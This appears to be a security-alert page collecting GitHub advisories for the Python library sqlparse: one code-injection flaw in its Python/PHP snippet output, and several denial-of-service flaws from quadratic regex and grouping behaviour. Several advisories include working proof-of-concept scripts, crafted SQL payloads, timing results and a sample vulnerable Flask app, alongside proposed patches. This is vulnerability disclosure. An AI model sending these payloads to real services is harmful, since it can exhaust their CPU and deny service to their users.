Where
-Infinity
0
Severity
8.4
Code Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

sqlparse through 0.6.0 contains a PHP code injection vulnerability that allows attackers to inject PHP expressions by supplying SQL text containing unescaped dollar signs. Attackers can embed ${expr} or {${expr}} sequences that OutputPHPFilter places in double-quoted strings, executing arbitrary PHP code when the generated snippet runs.

First published (updated )
Severity
6.2
Code Injection
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The documented Python and PHP output modes generate source-code snippets from caller-supplied SQL. Their output filters escape quote characters without first escaping existing backslashes. Crafted SQL can therefore neutralize the generated quote escape, terminate the intended language string, and place attacker-controlled code into the generated snippet. If a downstream consumer executes or imports that generated source, the injected code runs in the consumer's environment.

Details

The Python output filter places SQL in a single-quoted string and replaces each single quote with an escaped quote. The PHP output filter performs the equivalent operation for a double-quoted string. Neither transformation escapes pre-existing backslashes before escaping quotes. A backslash supplied immediately before a quote causes the generated backslash to be escaped instead of the quote, allowing the quote to close the string.

The affected modes are exposed through sqlparse.format(..., outputformat='python'), sqlparse.format(..., outputformat='php'), and the corresponding sqlformat -l options. Formatting produces the injected source but does not itself execute it; code execution occurs when a downstream workflow treats the generated snippet as Python or PHP code.

Relevant code locations:

- sqlparse/formatter.py:193 — selection of the output-language filters - sqlparse/filters/output.py:45 — opening of the generated Python string - sqlparse/filters/output.py:65 — incomplete Python quote escaping - sqlparse/filters/output.py:91 — opening of the generated PHP string - sqlparse/filters/output.py:114 — incomplete PHP quote escaping

PoC

A complete validated reproduction is attached as outputformatsnippetinjection-poc.zip. The archive contains reproduction/ at its root, uses Git and Docker, and validates the Python output path by generating and executing a snippet containing a controlled marker-file write.

Extract the archive beside this report, then run:

console ./reproduction/run.sh

Observed result:

The generated Python snippet placed the attacker-controlled pathlib.Path(...).writetext(...) expression outside the intended SQL string. Executing the snippet wrote the expected proof marker, emitted EVOHUNTOUTPUTFORMATINJECTIONVERIFIED, and completed successfully.

Verification method:

The verification helper calls sqlparse.format(..., outputformat='python'), executes the generated snippet, and fails unless the injected Python expression writes the exact proof marker file.

Limitations:

No reproduction blocker was recorded. The attached harness directly verifies the Python output path; exploitation also requires a downstream consumer to execute or import the generated source.

Impact

This is source-code injection in the opt-in Python and PHP snippet-generation modes. An attacker who controls SQL converted by one of these modes can inject language code into the generated artifact. If that artifact is subsequently executed, the attacker can run code with the permissions and access of the downstream Python or PHP process.

The demonstrated end-to-end result is code execution through a generated Python snippet. Formatting the SQL alone does not execute the payload, and ordinary parsing, splitting, or formatting without these output modes is not shown to be affected.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQLREGEX:

python sqlparse/keywords.py:33 (r'((?<![\w\"\$])\$(?:[A-ZÀ-Ü]\w)?\$)[\s\S]?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

python sqlparse/lexer.py:136-138 for pos, char in iterable: for rexmatch, action in self.SQLREGEX: m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

1. sqlparse/init.py:20 — parse(sql) accepts caller-controlled SQL. 2. sqlparse/init.py:29 — delegates to parsestream(sql, encoding). 3. sqlparse/init.py:43 — FilterStack.run(stream, encoding) is invoked. 4. sqlparse/engine/filterstack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout. 5. sqlparse/lexer.py:137 — every regex in SQLREGEX is tried at the current position. 6. sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAXGROUPINGTOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

| Input (N unique openers) | Bytes | Elapsed | |--------------------------|--------|----------| | 250 | 1,889 | 0.066 s | | 500 | 3,889 | 0.144 s | | 1,000 | 7,889 | 0.397 s | | 2,000 | 16,889 | 1.314 s |

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

bash Build from the repository root (parent of vuln-001/) docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

Run with no network access docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

python import time import sqlparse from sqlparse.exceptions import SQLParseError

def makepayload(n: int) -> str: # N unique unmatched dollar-quote openers — none have a matching closing delimiter return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]: payload = makepayload(n) t0 = time.perfcounter() try: sqlparse.parse(payload) status = "ok" except SQLParseError as e: status = f"SQLParseError: {e}" elapsed = time.perfcounter() - t0 print(f"n={n:>5} bytes={len(payload):>7} elapsed={elapsed:.3f}s status={status}")

Expected output (super-linear scaling confirms ReDoS):

n= 250 bytes= 1889 elapsed=0.066s status=ok n= 500 bytes= 3889 elapsed=0.144s status=ok n= 1000 bytes= 7889 elapsed=0.397s status=ok n= 2000 bytes= 16889 elapsed=1.314s status=ok

Key ratio (n=1000 -> n=2000): 3.31x [PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See reportexcerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQLREGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

python sqlparse/keywords.py:20 (r'/\\+[\s\S]?\/', tokens.Comment.Multiline.Hint), sqlparse/keywords.py:23 (r'/\[\s\S]?\/', tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated / scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

python import time, sqlparse

for n in (2000, 4000, 8000, 16000): payload = "/x " n t0 = time.perfcounter() sqlparse.parse(payload) print(f"n={n:6d} bytes={len(payload):7d} elapsed={time.perfcounter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

| openers | bytes | lexing | |---------|-------|--------| | 2,000 | 8 KB | 0.057 s | | 4,000 | 16 KB | 0.196 s | | 8,000 | 32 KB | 0.729 s | | 16,000 | 64 KB | 2.717 s |

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/" n on its own is linear and does not reproduce the issue — in ///... the openers form overlapping / pairs, so the pattern matches immediately. The opener must be padded (e.g. "/x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

Dockerfile

dockerfile FROM python:3.11-slim

Install build dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ build-essential \ && rm -rf /var/lib/apt/lists/

WORKDIR /app

Copy the sqlparse repository source code COPY repo/ /app/repo/

Install sqlparse from local source in editable mode RUN pip install --no-cache-dir -e /app/repo/

Copy the PoC script (build context is the parent of vuln-001/) COPY vuln-001/poc.py /app/poc.py

Default: run the PoC CMD ["python3", "/app/poc.py"]

poc.py

python """ PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33 (r'((?<![\\w\\"\\$])\\$(?:[A-ZÀ-Ü]\\w)?\\$)[\\s\\S]?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining string before concluding no match exists. With N openers this creates O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N). PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear). """

import sys import time

try: import sqlparse from sqlparse.exceptions import SQLParseError except ImportError as exc: print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr) sys.exit(2)

print("=" 60) print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex") print("=" 60) print(f"sqlparse version: {sqlparse.version}") print()

def makepayload(n: int) -> str: """Generate N unique unmatched dollar-quote openers.

Each token '$ai$x' looks like an opening dollar-quote delimiter but never has a closing delimiter, so the regex engine must scan the entire remaining string before giving up on each one. """ return " ".join(f"$a{i}$x" for i in range(n))

results = []

samplesizes = [250, 500, 1000, 2000]

for n in samplesizes: payload = makepayload(n) bytelen = len(payload.encode()) tstart = time.perfcounter() try: sqlparse.parse(payload) status = "ok" except SQLParseError as exc: status = f"SQLParseError({exc})" except Exception as exc: status = f"Exception({type(exc).name}: {exc})" elapsed = time.perfcounter() - tstart

results.append((n, bytelen, elapsed, status)) print(f"n={n:>5} bytes={bytelen:>7} elapsed={elapsed:>8.3f}s status={status}")

print()

Compute scaling ratios between consecutive sample sizes print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):") for i in range(1, len(results)): nprev, , tprev, = results[i - 1] ncurr, , tcurr, = results[i] if tprev > 0: ratio = tcurr / tprev nratio = ncurr / nprev print(f" n={nprev} -> n={ncurr} (input x{nratio:.1f}): time ratio = {ratio:.2f}x")

print()

PASS/FAIL verdict based on timing ratio between largest two points , , t1000, = results[2] # n=1000 , , t2000, = results[3] # n=2000

PASSTHRESHOLD = 3.0

if t1000 > 0: ratio10002000 = t2000 / t1000 else: ratio10002000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio10002000:.2f}x")

if ratio10002000 >= PASSTHRESHOLD: print() print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.") print(f" Time ratio {ratio10002000:.2f}x >= threshold {PASSTHRESHOLD}x.") print(" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.") sys.exit(0) else: print() print("[FAIL] Super-linear scaling NOT confirmed within this run.") print(f" Time ratio {ratio10002000:.2f}x < threshold {PASSTHRESHOLD}x.") print(" The host may be too fast or JIT effects obscured the result.") print(" Try larger sample sizes or re-run on a slower host.") sys.exit(1)

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

sqlparse ships hard limits (MAXGROUPINGDEPTH=100, MAXGROUPINGTOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(ndepth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.init calling super().init(None, str(self)). TokenList.str flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(nd) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override str).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.

Affected components

sqlparse 0.5.5 (latest) and every prior version that ships TokenList.init. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to groupmatching / group but left the per-node str(self) materialization untouched.

Vulnerable code (file:line)

sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):

python class TokenList(Token): slots = 'tokens'

def init(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] super().init(None, str(self)) # ← O(subtree) work per group self.isgroup = True

def str(self): return ''.join(token.value for token in self.flatten())

str recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n d).

The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (groupparenthesis) and sqlparse/engine/grouping.py#L84 (groupcase). Both call groupmatching which builds nested Parenthesis / Case TokenList instances bottom-up.

Reachable / How input reaches the sink

sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filterstack.py:run → engine/grouping.py:group → groupparenthesis / groupcase. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's formatdebugsql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(nd) path and reproduces the multi-second hang on the same inputs).

Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

python import sqlparse, time, signal

def h(s, f): raise TimeoutError() signal.signal(signal.SIGALRM, h)

def measure(label, sql, fn): signal.alarm(30) t0 = time.perfcounter() status = 'OK' try: fn(sql) except sqlparse.exceptions.SQLParseError: status = 'CAP' except TimeoutError: status = 'TIMEOUT' finally: signal.alarm(0) dt = (time.perfcounter() - t0) 1000 print(f' {status:8} {dt:8.1f}ms {label} ({len(sql)} B)')

Vector 1: deeply nested parentheses for n in (200, 500, 1000, 2000): sql = 'SELECT ' + '(' n + '1' + ')' n measure(f'nested-paren n={n}', sql, sqlparse.parse)

Vector 2: deeply nested CASE WHEN for n in (100, 200, 400): case = '1' for i in range(n): case = f'CASE WHEN x={i} THEN {case} ELSE NULL END' measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

CAP 80.7ms nested-paren n=200 (408 B) CAP 1342.9ms nested-paren n=500 (1008 B) CAP 11206.9ms nested-paren n=1000 (2008 B) TIMEOUT >10000ms nested-paren n=2000 (4008 B) CAP 83.1ms CASE-nested n=100 (3405 B) CAP 559.6ms CASE-nested n=200 (6905 B) CAP 5012.2ms CASE-nested n=400 (13905 B)

cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):

ncalls cumtime filename:lineno(function) 501 3.133 sqlparse/sql.py:165(str) 501 3.127 {method 'join' of 'str' objects} 252504 3.110 sqlparse/sql.py:166(<genexpr>) 42168504 3.079 sqlparse/sql.py:207(flatten)

42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.init ran str(self) once per group construction and each call walked the partial subtree.

End-to-end reproduction (against running consumer)

victimapp.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

python from flask import Flask, request, jsonify import sqlparse, time app = Flask(name)

@app.route('/parse', methods=['POST']) def parsesql(): sql = request.getdata(astext=True) t0 = time.perfcounter() try: sqlparse.parse(sql) return jsonify({'ok': True, 'parsems': round((time.perfcounter()-t0)1000, 1)}) except sqlparse.exceptions.SQLParseError as e: return jsonify({'ok': False, 'parsems': round((time.perfcounter()-t0)1000, 1), 'error': str(e)}), 400

@app.route('/format', methods=['POST']) def formatsql(): sql = request.getdata(astext=True) t0 = time.perfcounter() formatted = sqlparse.format(sql, reindent=True, keywordcase='upper') return jsonify({'ok': True, 'parsems': round((time.perfcounter()-t0)1000, 1), 'len': len(formatted)})

if name == 'main': app.run(host='127.0.0.1', port=5099, threaded=False)

Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):

=== Baseline (benign payloads) === benign small SQL 8B wire= 8.8ms server= 0.2ms benign 1 KB SQL 220B wire= 4.1ms server= 2.5ms benign flat 500-cols 2902B wire= 91.7ms server= 90.2ms

=== Malicious payloads (within default caps) === nested-paren n=200 408B wire= 84.0ms server= 82.6ms ok=False nested-paren n=500 1008B wire= 1371.9ms server= 1370.5ms ok=False nested-paren n=1000 2008B wire=10335.3ms server=10333.7ms ok=False nested-paren n=2000 4008B wire=10661.4ms server=10659.6ms ok=False CASE-nested n=400 13905B wire= 5136.4ms server= 5134.7ms ok=False IN-tuple-format n=1000 9922B wire= 3852.8ms server= 3851.2ms ok=True

A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.

Impact

- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption). - Multi-worker service: attacker sends N parallel requests, exhausts the worker pool. - Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU). - Downstream library impact: sql-metadata.Parser(sql).columns calls sqlparse.parse internally and inherits the exact same hang (nested-paren n=1000 → 11.3 s).

Suggested fix

Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):

python def init(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] # Avoid materializing the full subtree via str(self): concatenating # children's already-cached value is O(len(tokens)) per group, # whereas str(self) recursively flattens the entire subtree which is # O(subtree) per node and turns nested grouping into O(n depth). super().init(None, ''.join(token.value for token in self.tokens)) self.isgroup = True

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):

| Vector | Before fix | After fix | Speedup | |---|---|---|---| | nested-paren n=500 | 1336 ms | 11 ms | 121x | | nested-paren n=1000 | 11206 ms | 22 ms | 509x | | nested-paren n=2000 | TIMEOUT (>10 s) | 45 ms | 220x+ | | CASE-nested n=200 | 559 ms | 25 ms | 22x | | CASE-nested n=500 | TIMEOUT (>10 s) | 61 ms | 160x+ | | benign 1 KB SQL | 3 ms | 3 ms | unchanged |

End-to-end Flask victimapp re-run against the patched library:

nested-paren n=1000 2008B server= 34.6ms nested-paren n=2000 4008B server= 67.2ms CASE-nested n=400 13905B server= 49.5ms benign 1 KB SQL 220B server= 3.4ms

The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:getoffset → flattenuptotoken) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (testnestedparenwithincapunder50ms), is attached and linked from this advisory.

Credit

Reported by tonghuaroot.

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A comment-only statement (-- c\nn) may cause a Denial of Service (DoS).

Details Location: sqlparse/engine/grouping.py:331-341 (groupcomments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, stripcomments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but groupcomments is O(n²):

python def groupcomments(tlist): tidx, token = tlist.tokennextby(t=T.Comment) while token: eidx, end = tlist.tokennotmatching( lambda tk: imt(tk, t=T.Comment) or tk.isnewline, idx=tidx) ... tidx, token = tlist.tokennextby(t=T.Comment, idx=tidx)

The while loop runs n times and each tokennextby / tokennotmatching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

1. groupcomments runs first in group() (grouping.py:439), before the groupmatching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAXGROUPINGTOKENS does not provide protection on this vector. 2. It sits on the primary sanitizer path: format(sql, stripcomments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC Tested using Python 3.14:

python import time, sqlparse for n in (1000, 2000, 4000): s = "-- c\n" n t = time.perfcounter() sqlparse.format(s, stripcomments=True) print(f"n={n:5d} format(stripcomments)={1000(time.perfcounter()-t):7.1f} ms")

Output:

n= 1000 format(stripcomments)= 106.0 ms n= 2000 format(stripcomments)= 403.3 ms n= 4000 format(stripcomments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact Denial of Service

1 / 3
Source: GitHub
First published (updated )
Severity
5.1
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

When SQL is formatted with reindentation enabled, ReindentFilter repeatedly rebuilds prefixes of the current statement to calculate token offsets. An attacker who controls SQL sent to this opt-in formatting path can supply a parenthesized tuple list that remains just below the grouping-token cap. Thousands of offset calculations then traverse an expanding token tree, causing multi-second CPU consumption from an input of roughly 16 KB and degrading service availability.

Details

ReindentFilter.getoffset() joins the tokens returned by flattenuptotoken() to calculate the current output position. Each call begins by flattening the current statement from its start and walks until the target token. Tuple-list reindentation invokes this calculation repeatedly as it processes many parenthesized values, so later calls redo an increasingly large amount of prior work.

The vulnerable path is reached through sqlparse.format(sql, reindent=True) and sqlformat --reindent. A carefully sized tuple list completes grouping below the configured token cap and then enters the expensive reindentation path; a slightly larger input may instead be rejected quickly by the cap.

Relevant code locations:

- sqlparse/formatter.py:170 — enabling ReindentFilter - sqlparse/filters/reindent.py:30 — repeated flattening from the statement start - sqlparse/filters/reindent.py:44 — prefix joining for offset calculation - sqlparse/filters/reindent.py:216 — tuple-list processing path

PoC

A complete validated reproduction is attached as reindenttuplelistcpudos-poc.zip. The archive contains reproduction/ at its root, uses Git and Docker, and compares two same-shape tuple-list inputs formatted with reindentation enabled.

Extract the archive beside this report, then run:

console ./reproduction/run.sh

Observed result:

The 600-tuple baseline completed in 0.649 seconds, while the below-cap 1,425-tuple input completed in 4.999 seconds. The run emitted EVOHUNTREINDENTDOSVERIFIED and completed successfully.

Verification method:

The verification helper formats two same-shape tuple-list payloads with reindent=True and fails unless the larger payload completes successfully, takes at least 2.0 seconds, and takes at least 4x the baseline.

Limitations:

No reproduction blocker was recorded. Timing varies by host, and exploitation requires the reindentation option or corresponding CLI mode to be enabled.

Impact

This is a CPU resource-exhaustion vulnerability in workflows that reindent attacker-controlled SQL. A small crafted tuple-list input can occupy a worker for several seconds, enabling request delays, reduced throughput, or worker starvation when payloads are processed repeatedly or concurrently.

The affected reindentation behavior is opt-in, and sqlparse itself does not provide network exposure; reachability depends on the consuming application or CLI workflow. The demonstrated effect is CPU consumption in a single formatting call, not process termination, code execution, or confidentiality or integrity impact.

1 / 2
Source: GitHub
First published (updated )

python-sqlparse contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service).

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203